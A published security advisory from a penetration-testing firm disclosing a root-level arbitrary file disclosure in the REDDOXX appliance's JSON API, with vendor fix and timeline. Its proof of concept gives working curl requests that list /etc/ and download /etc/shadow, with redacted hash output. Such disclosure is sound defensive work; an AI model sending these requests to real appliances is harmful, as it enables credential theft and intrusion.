Advisory: Arbitrary File Disclosure with root Privileges via RdxEngine-API in REDDOXX Appliance

RedTeam Pentesting discovered an arbitrary file disclosure vulnerability
in the REDDOXX appliance software, which allows unauthenticated
attackers to list directory contents and download arbitrary files from
the affected system with root permissions.

Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Arbitrary File Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-006
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsâ?? requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)

More Details
============

When using the user frontend of the REDDOXX appliance [0] reachable via
http://www.example.com/rws/user/, HTTP POST requests are used to perform
certain actions. For example, the following request is used to save the
settings of the current user's profile:

------------------------------------------------------------------------

POST /RdxEngine/json HTTP/1.1
Host: www.example.com
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 210
Connection: close

{
"method": "CoreService.SaveUserProfile",
"params": {
"Profile": {
"UseHtmlMail": true,
"DefaultArchiveDisplayPeriode": "5",
"ReportLanguage": "en",
"EnableQueueReport": true
}
},
"id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
}
------------------------------------------------------------------------

Through analysis of the .NET binaries pertaining to this endpoint,
extracted from the appliance ISO offered on the vendor's homepage [1],
the methods handling these requests were examined. For the
"SaveUserProfile" method, which is specified through the POST parameter
"method", the code is as follows:

------------------------------------------------------------------------

// Reddoxx.Api.Legacy.CoreServiceService
public void SaveUserProfile(TRoUserProfile Profile)
{
try
{
this.client.OnStartRequest("CoreService", "SaveUserProfile");
this.Service.SaveUserProfile(Profile);
this.client.OnEndRequest("CoreService", "SaveUserProfile");
}
catch (System.Exception e)
{
this.client.HandleException("CoreService", "SaveUserProfile", e);
}
}
------------------------------------------------------------------------

The "TroUserProfile" class contains information about the parameters
that are required for valid requests to this method:

------------------------------------------------------------------------

namespace Reddoxx.Api.Legacy
{
[...]
public class TRoUserProfile : ComplexType
{
private string __ReportLanguage;

private int __DefaultArchiveDisplayPeriode;

private bool __EnableQueueReport;

private bool __UseHtmlMail;

[...]
}
}
------------------------------------------------------------------------

These variable names correspond to the POST parameters contained in the
request that was created when the profile was saved. With this knowledge
about how methods are called and parameters are passed, it was attempted
to call other methods from different packages. It was determined that it
is possible to access certain methods which allow reading arbitrary
files and directory listings.

It was later discovered that the process handling requests to the
vulnerable methods runs with root privileges.

Proof of Concept
================

At least two methods are found to be of interest for attackers:
FileTransfer.GetDirectoryList, which returns a directory listing for a
path specified via a parameter, and FileTransfer.DownloadFile, which
returns the file specified via a parameter in Base64-encoded form. The
following curl command-lines can be used to call the respective methods:

------------------------------------------------------------------------

$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",''"method":"FileTransfer
.GetDirectoryList","params":{"Directory": "/etc/"}}' 'http://www.example.com/RdxEngine/json' | jq '.result.FileInfoList[].FileName'
"chatscripts"
"gtk-2.0"
"xen"
"dbus-1"
"request-key.d"
"smartmontools"
"console"
"skel"
"xml"
"initramfs-tools"
"sysctl.d"
"pear"
"sudoers.d"
"cron.monthly"
"rc5.d"
"init"
"byobu"
"pki"
"xpdf"
"cron.weekly"
"snmp"
"ld.so.conf.d"
[...]
------------------------------------------------------------------------

Since the process handling the requests runs with root privileges, it
was also possible to read the contents of the file "/etc/passwd":

------------------------------------------------------------------------

$ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",''"method":"FileTransfer
.DownloadFile","params":{"FileName": "/etc/shadow",''"Sequence": 1,"ChunkSize": 10000}}' 'http://www.example.com/RdxEngine/json' | jq -r .result.ChunkData | tr -d '\r\n' | base64 -d
root:$6$XXXXXXXX$YYYYYYY[...]YYYYYYYY:14993:0:99999:7:::
daemon:*:16652:0:99999:7:::
bin:*:16652:0:99999:7:::
sys:*:16652:0:99999:7:::
sync:*:16652:0:99999:7:::
games:*:16652:0:99999:7:::
man:*:16652:0:99999:7:::
lp:*:16652:0:99999:7:::
mail:*:16652:0:99999:7:::
news:*:16652:0:99999:7:::
uucp:*:16652:0:99999:7:::
proxy:*:16652:0:99999:7:::
www-data:*:16652:0:99999:7:::
backup:*:16652:0:99999:7:::
list:*:16652:0:99999:7:::
irc:*:16652:0:99999:7:::
gnats:*:16652:0:99999:7:::
nobody:*:16652:0:99999:7:::
libuuid:!:16652:0:99999:7:::
syslog:*:16652:0:99999:7:::
messagebus:*:16899:0:99999:7:::
sshd:*:16899:0:99999:7:::
vboxadd:!:16899::::::
statd:*:16899:0:99999:7:::
admin:$1$XXXXXXXX$ZZZZZZZZZZZZZZZZZZZZZZ:14054:0:99999:7:::
clamav:!:16899:0:99999:7:::
ntp:*:16899:0:99999:7:::
hacluster:!:16899:0:99999:7:::
firebird:*:16899:0:99999:7:::
redis:!:16899:0:99999:7:::
snmp:*:16899:0:99999:7:::
bind:*:16899:0:99999:7:::
smbadmin:!:17037:0:99999:7:::
smbuser:!:17037:0:99999:7:::
------------------------------------------------------------------------

Workaround
==========

None

Fix
===

Update the appliance software to Version 2032 SP2.

Security Risk
=============

Attackers with access to a REDDOXX appliance are able to retrieve
directory listings and content of arbitrary files. Although this
vulnerability requires attackers to submit a valid session ID, the
vulnerabilities described in rt-sa-2017-004 [2] and rt-sa-2017-005 [3]
show how this requirement can be fulfilled even by attackers without
valid credentials. Additionally, the RdxEngine process handling the
requests to the vulnerable methods runs with root privileges, allowing
attackers to read any file on the filesystem and, for example, extract
the local user hashes for offline brute-force attacks. This
vulnerability is therefore rated as a high risk.

Timeline
========

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released

References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-004
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-005

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
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